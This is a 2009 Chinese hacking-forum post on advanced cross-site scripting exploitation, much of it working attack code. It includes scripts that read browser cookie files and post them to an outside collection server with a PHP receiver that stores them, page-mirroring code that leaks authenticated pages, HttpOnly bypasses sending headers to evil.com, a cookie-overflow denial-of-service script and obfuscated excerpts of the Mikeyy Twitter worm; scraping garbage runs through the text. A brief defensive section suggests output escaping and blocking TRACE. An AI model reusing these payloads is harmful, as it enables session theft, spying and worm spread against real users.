XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
3 q( }% J0 i+ G% B. `本帖最后由 racle 于 2009-5-30 09:19 编辑 5 A0 t, R" N. Z( S5 `% V, f
* N2 I+ h/ N. m# cXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页2 a2 k2 e% Q2 u) h
By racle@tian6.com 8 P% k4 @1 A {/ Z4 U# b# e
http://bbs.tian6.com/thread-12711-1-1.html
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5 c& E) E' n9 |4 f4 \+ V q1 V-------------------------------------------前言---------------------------------------------------------
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: n4 k- b# |5 O+ T) E+ L本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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! E2 r+ q" e7 B5 E$ r如果你还未具备基础XSS知识,以下几个文章建议拜读:
) S" @, H6 Y9 D$ W# h: i" Ohttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
5 X' p3 y! Q, [" uhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全/ U& r: z, _. O$ \; B
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过 e7 F$ m2 T [7 L' m
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF, a$ }+ l% k% c% M+ t+ F% C& I
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码/ J: ?/ y8 `8 n$ P2 j4 m
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持+ H' I* c+ p# X, l9 I
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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& m- F6 y# ]9 y7 G8 K希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大8 T7 N1 E+ Y1 @+ E. Z& k
5 J+ V. \- }( c! z9 R" b; x- {% BQQ ZONE,校内网XSS 感染过万QQ ZONE.4 I1 a5 T& t, b$ @( q
$ b( ]: m. X9 z6 r9 U$ MOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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: S" a% F$ x# W2 A9 O复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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( }# |. N( d, Q跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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O2 Z9 f# V# l/ ~0 B+ z0 P如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.2 W6 [. M4 ]5 N
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
0 h9 Y9 w* B. w我们在这里重点探讨以下几个问题:, v# D2 U: |7 a1 E9 `
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1 通过XSS,我们能实现什么?
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6 ?1 \' j7 {- ]/ b3 _! @2 Z2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?9 i, Q- R( ?; u6 G1 T1 i3 y
% B6 w7 z" m* ?" ]& \3 XSS的高级利用和高级综合型XSS蠕虫的可行性?3 d3 A y8 {) ~1 R9 Y/ n0 {8 r t
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4 XSS漏洞在输出和输入两个方面怎么才能避免.. R& U. U; K6 n( `
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.# f/ F$ T4 o! [# p
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
. d: a. W4 j l! `复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
% z- B( @; R! C/ C8 E n1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则., M( v* R, c* E( i& z6 u3 I
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
. }- _( Q; j9 }2 W3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.# E. X3 |. V/ Z [8 l$ i
4:Http-only可以采用作为COOKIES保护方式之一.: t- w& U& ?. p% y. F. z; I' n
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2 S$ [' O+ D$ [3 H! ?(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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/ x0 f' }. j) J3 x1 [# a我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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$ o: P( j+ I% V, t' M; u( n |: O 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。6 b( m3 |4 Z" |6 c1 ]5 N
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- @8 r* {/ f, V; ^+ E d! @) |2 p 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
8 ]' ^: N! Q3 m0 l; \ f复制代码IE6使用ajax读取本地文件 <script>- ^/ |/ I. ^% V6 Z m
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function ajax_obj(){& d+ b p' b* E' `$ [! k
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if(window.XMLHttpRequest) {6 P0 m8 X- l. b4 A# G
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} else if(window.ActiveXObject) {
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@; k+ @/ b. w1 F 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];- z/ {% y. M" d
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return request;% G4 \$ ^/ M3 H$ v' Z
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}
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var _x = ajax_obj();
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function _7or3(_m,action,argv){
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+ s- I0 R, J4 f: [6 A* b' F, _. K _x.open(_m,action,false);7 c6 P) |& @. g" B6 G; Q* h4 o
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_x.send(argv);
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return _x.responseText;9 j1 }! c6 C+ H" G( m8 t
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' ^7 p+ c! K Q% D( y! K& P# R0 s1 | var txt=_7or3("GET","file://localhost/C:/11.txt",null);+ ~, ~7 ~. l k# {% w& ~! W
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% s0 C8 U7 q- z" l) { </script> R, J( `, \( j5 F6 Z/ S" b j
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function $(x){return document.getElementById(x)}
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' J3 ]" l$ i7 s/ S0 y5 H function ajax_obj(){
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' ?, \3 E7 x% w3 n, V: i var request = false;
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request = new XMLHttpRequest();
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, x7 ?* z9 t# W: A2 E6 e$ m } else if(window.ActiveXObject) {
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. y4 B6 A! b8 N' l% \; ` var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',! n1 T5 T- R# p8 `, w8 q- |" u
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8 { F6 `3 K5 G 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];8 ^, A# P7 Q) f+ m2 u( W
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for(var i=0; i<versions.length; i++) {4 @' X& J3 c* F8 [4 b
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request = new ActiveXObject(versions);1 V" Y! H. z2 ~8 v X
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}
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var _x = ajax_obj();* b) C' r+ J, D8 o6 M6 t
- f+ h& b- \: C& h( J function _7or3(_m,action,argv){
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( F5 J* L4 `. q n4 r _x.open(_m,action,false);
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. s5 M/ W: i1 y8 u' W if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");/ U$ P; k# O1 I& u1 }, N& J( I( P' M
& ]; U+ s" L4 |( E3 ` _x.send(argv);
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return _x.responseText;% v, w6 u8 @* b- V% b, c# I; [
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</script>- i, n% g/ P" N7 a' j4 N6 }
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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/* ! U6 U r" i/ c/ M7 X# Y1 m1 d
( Y% h. m4 v0 m1 S Chrome 1.0.154.53 use ajax read local txt file and upload exp 6 B: J, h4 p. q' s& @/ i
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author voidloafer@gmail.com 2009-4-22 9 }7 k7 O) s+ t" Y
* O& ~6 G3 [3 D. o$ U http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. ( C/ u$ N. o# b' \8 v7 v" a
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*/
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header("Content-Disposition: attachment;filename=kxlzx.htm"); 9 [# \7 h/ |/ J( u
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header("Content-type: application/kxlzx"); , \5 ]6 l2 h* [: T4 k- B
, A. v' S5 Q& P" P9 ~% o6 g/* ' h7 M9 ~% K( F: e# T# W
: M0 S. [/ M* {) V' @ set header, so just download html file,and open it at local. & s) ]9 P H0 {! |( V9 B
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: D- O+ o0 w2 v! R- H4 ?0 v<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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4 k- j1 q9 P# y* Z/ z- @ <input id="input" name="cookie" value="" type="hidden"> 7 K: I* I. I$ v. ]9 p. }3 l1 i7 F
1 U; q4 {* F+ r/ `/ M% i! Q0 K9 C( s</form> 6 j( F# O! {2 v/ c
' U; f0 q8 X2 a$ Y+ [' \1 X4 I! ^; @<script> * ?5 e F @. l% k8 D" k& v) ]
" i; a( ^' e0 [1 hfunction doMyAjax(user) 4 d+ k" P/ F9 x: P# n
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var time = Math.random();
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/*
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. L( k# G- J: }7 l, Pthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default : f9 }/ v2 J' f8 g1 D
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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3 c \7 e) f& j. r4 W" e) k3 Eand so on...
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j3 r+ ~' s' k7 I' A4 G8 lvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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: [+ C0 |% Z% G. l8 M1 k5 {startRequest(strPer); 7 p3 ^ V6 ?3 B5 B
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9 e5 m8 ?8 S/ d% O: sfunction Enshellcode(txt) ! K) n. k* |, t# K8 z
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{ # l: O" d2 e8 g
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var url=new String(txt);
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var i=0,l=0,k=0,curl=""; ( Y* s5 S0 S" {1 s$ H1 v5 A
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l= url.length;
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' ~* X5 \4 g% n9 p; mfor(;i<l;i++){ , r2 Z* f+ P" r
+ {4 q# y9 N$ Y. e4 V5 t
k=url.charCodeAt(i); - L" l; P; j- v# d
7 {$ L& e4 m/ _4 t4 i
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} # m8 H+ F9 o" p2 v8 k( R( t9 H6 @
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if (l%2){curl+="00";}else{curl+="0000";}
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- x: p9 T# ?# E, V% \curl=curl.replace(/(..)(..)/g,"%u$2$1"); 6 P5 V/ i% l6 i8 O: O3 B, v
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return curl;
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var xmlHttp;
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# O5 a! M, I# ~! | ^function createXMLHttp(){
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if(window.XMLHttpRequest){
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4 l! q6 o0 e. A5 q& K* `xmlHttp = new XMLHttpRequest(); # K/ j% |( t; ^* t* Y' H) ]; p
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else if(window.ActiveXObject){ 1 @* i2 c/ A3 P* e8 R
/ @! \ Z3 S+ `% u# ~4 MxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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5 d0 i' P) I8 }, q6 Z1 cfunction startRequest(doUrl){
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( Y$ o: W8 n) C0 j1 c+ ~ 5 n8 u" e" f6 K# N
) F' h9 l% d7 \# ?1 g( q k0 k: _ createXMLHttp();
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m4 X: ^* E) `: m# a" X3 F9 T# @
xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true); 8 w' Y8 j) b4 s
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+ ?( |2 |$ i4 ~! J, F0 B1 N xmlHttp.send(null);
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}
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8 D$ y9 s1 C1 Q: a+ I: q: ?; zfunction handleStateChange(){ , B6 o4 \! m8 P9 i6 G4 o; i+ r: ^: V8 M. x
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if (xmlHttp.readyState == 4 ){ - L2 F8 V6 I c) n) {
; G. |1 | t6 s. P9 L, o% J; e var strResponse = "";
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& F; H6 j# o8 T1 d: ~& p8 K setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 9 s$ g3 B! F3 T' \& {: b
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} ) l& \& O/ g: s1 [
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, `5 I" b4 p& ]7 ^
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, z# U Z2 ]" k4 a, }1 Tfunction framekxlzxPost(text)
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( p: m6 F+ z& w0 c+ a/ {( w{ " x* \/ F* F6 H
5 G6 M0 J' r% i N( Z0 j7 i8 c" B document.getElementById("input").value = Enshellcode(text);
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0 l0 O# |6 `. b document.getElementById("form").submit(); # L4 { P! \$ {/ }, ]! f: n
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} ( N M, `+ W7 P. m$ ~* V d! a
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# ]9 `$ k) w" u* g4 pdoMyAjax("administrator");
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: `% ]& N2 @+ r( Y</script>- _3 e; }' z: O) [( M: B( s
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> 1 G' y- ^2 R2 t# O7 k
! C$ N# w) A6 B4 k6 O7 A( g2 W V! lvar xmlHttp; ' l3 b. R: H4 F( f N: z* d
* U, k% W% P1 ]# c5 A- d$ [! E ]
function createXMLHttp(){ + o# T6 R$ W* k
3 t2 Y1 _* |" Z* A: O
if(window.XMLHttpRequest){ & j2 w! @1 ~* w/ G
- ]# \( h7 d. l5 J3 l% W3 S xmlHttp = new XMLHttpRequest();
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# Z& t0 w# U- c" U! `- @3 X else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); + ]- L8 Q( t) N# e) h" y8 F- s
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} 7 B2 f( W" A$ @$ W1 ~! N
3 Y j7 I! g5 m7 I# @! p# k; k}
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function startRequest(doUrl){ ! N" v, d, [4 \, b" }& u3 I. l
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) d& y3 }: ^8 G$ c0 ? createXMLHttp(); 2 E$ D; l7 Y6 I
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xmlHttp.onreadystatechange = handleStateChange; $ C F- {/ D/ X3 T) E
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+ Z$ c0 H D+ G1 e: y xmlHttp.open("GET", doUrl, true); * d2 [/ x1 ~9 Y, J8 i, ~3 f# O: b% r
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xmlHttp.send(null); . l" X) G7 ]2 I" ]. a6 t: R' [6 I
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}
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; f/ A0 W g0 V+ r' {. o$ jfunction handleStateChange(){ , u. {1 A7 U( D" g
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if (xmlHttp.readyState == 4 ){
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var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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}
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function doMyAjax(user,file)
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var time = Math.random();
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" {1 v/ n. q1 W% ?0 S3 T var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; # L8 t, V1 |, v# x8 ]
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* n1 f- _2 B7 L& U, P: L! K5 |) [ startRequest(strPer); % P. O: @0 G ^( C0 Z( b1 g
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* c! V; I4 y; E5 p8 [# l! A- @function framekxlzxPost(text)
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{ " [: R( `/ i+ A& c. `$ K8 T' p
# @( }/ V, \8 {+ T$ W' ~ document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); 6 P# W( c& z# T7 ?! ?
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alert(/ok/); 4 D4 k8 {5 M! @- E
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* h# s, B& V6 _4 p! z, [, bdoMyAjax('administrator','administrator@alibaba[1].txt'); 3 P' m6 \& F% Z8 f/ V3 M! X5 U. l3 J
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</script>. a& t8 N- G; J: G6 G/ K
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9 M8 @3 {$ F- ]5 C% R& t+ m5 c1 Ya.php
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<?php 2 a [ R/ l4 B
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; % ? {, K( V# N/ k, P* ?
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 1 j8 r. U1 c1 S& B
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) }0 z$ D5 h. @$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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+ Q7 X0 J- K- ?fwrite($fp,$_GET["cookie"]);
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5 Y! h3 j: Q' J8 q( wfclose($fp);
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8 \$ W0 c/ ]" E3 B, k' F+ v?>
$ t4 T* t& n6 n/ e复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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* O. V. J& w% Q或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.& a% y* X% n- [# X
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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& Y* w* B) z |# m) {& u: Q代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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' }) A3 C+ B: N' s5 A//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);, P1 Y3 I1 |; d* o3 D8 a: b4 y- R
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function getURL(s) {
/ T8 s/ K, c& x: P! I' p9 H$ c" G* Y/ ^- r. N3 {
var image = new Image();% j1 N! H: a% e8 S
' p7 w6 a) ^" D2 @, Gimage.style.width = 0;
# j# I& y' \* A2 z4 X! x0 T; g4 R! n- X# \: @; D
image.style.height = 0;
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image.src = s;/ Q; y: _; R- L1 s+ _# {: ^
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}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);7 ~' I' @0 N N) f) A# ~( s
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
]% l7 D# ?, `4 H0 L# K! `这里引用大风的一段简单代码:<script language="javascript">1 m# `4 V+ b, D) T3 D
7 L7 m- O- |8 [6 Evar metastr = "AAAAAAAAAA"; // 10 A
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var str = "";6 e4 H* Z, y) [$ S- P
: d/ R/ J% b) w$ F2 c- j' Dwhile (str.length < 4000){
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. c2 l- B5 ?4 i; i str += metastr;
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>6 f3 j( H$ q6 ^6 W1 Z
|% O# T- ]; W- T+ u, N详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
, b" S: n5 x4 N& [, I1 L复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.. t- o2 J* b( G$ |, t% X( d
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1506 \4 B/ r* Q) A- i# x
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
9 c8 M7 I+ n7 r# a7 B z9 p! R攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵., h2 x" I) x) d2 }* o1 H0 d
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" o2 |6 t: a0 P/ O: v! b(III) Http only bypass 与 补救对策:& K/ X9 Y; \& q4 g$ `
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.7 L& F: k3 g& Q% M
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
2 n) v$ L/ U( \$ G8 |
. ^& R# l( o9 v- `, k<!--
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function normalCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly";
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7 @$ E4 D# D0 H- N9 I* \5 [( ]alert(document.cookie);* }/ A7 |7 N: L4 ]7 |1 u
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function httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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- K9 H2 |# Y1 T& ~& i7 r! M/ q! Walert(document.cookie);}
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//-->( V( x1 _3 S( C, s
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</script>8 t& P0 P) j! U1 i0 Y
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7 A3 @6 _( D2 g- C7 i<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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; X1 M2 P* N0 F) N* V5 E5 U<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>' j: F5 V* M3 k- F( T+ v. H# b
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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var request = false;
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( ~+ @! \6 y- ^5 r4 ^5 C if(window.XMLHttpRequest) {( G, c" S9 ^$ ]
: Z1 M- m% Y5 Y. P. ^9 U2 F request = new XMLHttpRequest();8 n: M9 e) O( L, W$ D) ~
6 {3 q# ~2 Z& ]: S, w, p+ k2 }
if(request.overrideMimeType) {
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request.overrideMimeType('text/xml');3 M- s- [! q* l) c
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} else if(window.ActiveXObject) {
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# U9 f u, E2 e y7 P8 m3 ~! b var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];+ F0 c0 F- b, U
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for(var i=0; i<versions.length; i++) {, b3 c5 P7 z1 C8 k
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% j0 k6 Y9 D8 d0 A0 u) F$ y# U4 R request = new ActiveXObject(versions);& d6 ~* D; `, k
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} catch(e) {}
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}
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}, {" }2 R7 {7 @! s
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xmlHttp=request;; T8 H/ u! w- ]/ p% k
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xmlHttp.open("TRACE","http://www.vul.com",false);- W5 Z* N9 `8 r2 j; N$ p6 Y
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xmlHttp.send(null);
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" A! R; \8 B8 D* u$ pxmlDoc=xmlHttp.responseText;
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* E3 c- L5 [( ]6 t. `0 K$ ]9 A& Nalert(xmlDoc);% M* y% s( ~" D, Z9 S% z! t* `8 d: W
3 ]8 N' j' p1 o# d</script>, O9 ?, q8 t4 j2 c2 [5 d8 S0 i& j
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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* D5 h2 Q# u. D! @6 v) ~1 c& Nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");. F6 h u( l: ^( o
) \; N1 {$ z vXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");7 o" P: X0 ^4 N6 A+ o. E& e. _
7 ~+ s# |4 P# zXmlHttp.send(null);4 G" X1 i6 t! }: I8 K0 [: y7 }! c
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var resource=xmlHttp.responseText0 O. z3 p2 A) N
4 g7 d( T! T7 Qresource.search(/cookies/);
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......................
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</script>
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% t2 O( w: W$ b. N+ C1 W" @0 ^如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求- m7 G, H& g: a
- R7 ~) D8 D0 ~/ u# t[code], q/ i3 R5 q K0 d$ s) X$ ?) e
' L7 E' ^* X. f0 s6 ?RewriteEngine On1 ?# }6 B; A# t# a4 G$ Q
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RewriteCond %{REQUEST_METHOD} ^TRACE
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' k8 W3 I2 q: L8 x; YRewriteRule .* - [F]
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$ j) A1 R0 j" g% t! ?$ l2 U. s% Q. K7 a/ Q1 b8 r c
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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: a1 y( P7 H% h% m* Q) \$ a9 O+ G& ~acl TRACE method TRACE
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http_access deny TRACE
# j3 r0 |% S; m复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>8 b& \. K/ l* U# a5 l
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);: }" J2 o& B# X! f& b5 O/ F3 f
3 H/ k! W1 s* h4 {XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");+ y+ b! ?9 q" T! m: q
/ ^$ ^' P" m) ~$ {0 J3 l9 UXmlHttp.send(null);
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</script>
* s# u$ _) [+ H% s2 S复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>& n$ p+ d& y/ F9 k1 ~4 |. ]
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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6 X+ [: c4 Q1 O7 K4 U0 f1 ~XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);
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<script>
8 I- b* i% Z! T复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.4 q/ k5 y" _4 e9 A8 m' X/ {+ q$ n9 f
复制代码案例:Twitter 蠕蟲五度發威, x7 i+ h) |+ i, M2 p
第一版:% W! f3 L" o$ v8 d, g
下载 (5.1 KB) L6 v& {+ u* V
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6 天前 08:27# t4 f3 R7 I9 r5 ?) j9 ]! o* N7 m/ }
/ X j) T; W0 ^/ G! g第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 3 p2 k9 t/ }, e% L9 Q
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2.
5 k- h; a s3 ~* _6 {- k/ g9 l- d: H& V L0 F3 o$ R$ \# {
3. function XHConn(){
x& E; S+ \8 b/ M
; M2 }+ y5 H! o6 ~& N' V 4. var _0x6687x2,_0x6687x3=false; 1 i( {9 d% N! o M, V
$ r d; O# F+ F6 t 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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" h$ U& e0 ^9 G: N4 G2 N 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 4 F/ x* p) |* Z6 B( ]% n( j# M. S
* G6 \+ \6 b4 |) ?- `
8. catch(e) { _0x6687x2=false; }; }; };
6 E1 Z5 S, _( c2 ]# j复制代码第六版: 1. function wait() {
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2 u, g Q( j% }0 {9 @" I 2. var content = document.documentElement.innerHTML; 5 @* c$ S' U2 z$ {( G$ |
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3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/);
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+ c' H- S) w5 H; b3 N* v 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); 5 A8 M3 X0 X) U, G
$ Y4 [0 ?1 y! I" B( |- n5 h
6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array(); & \4 ^/ ]8 t7 U
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; ; W; g+ F9 I. D: a
+ q- E* |$ g) J# u. N/ e 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
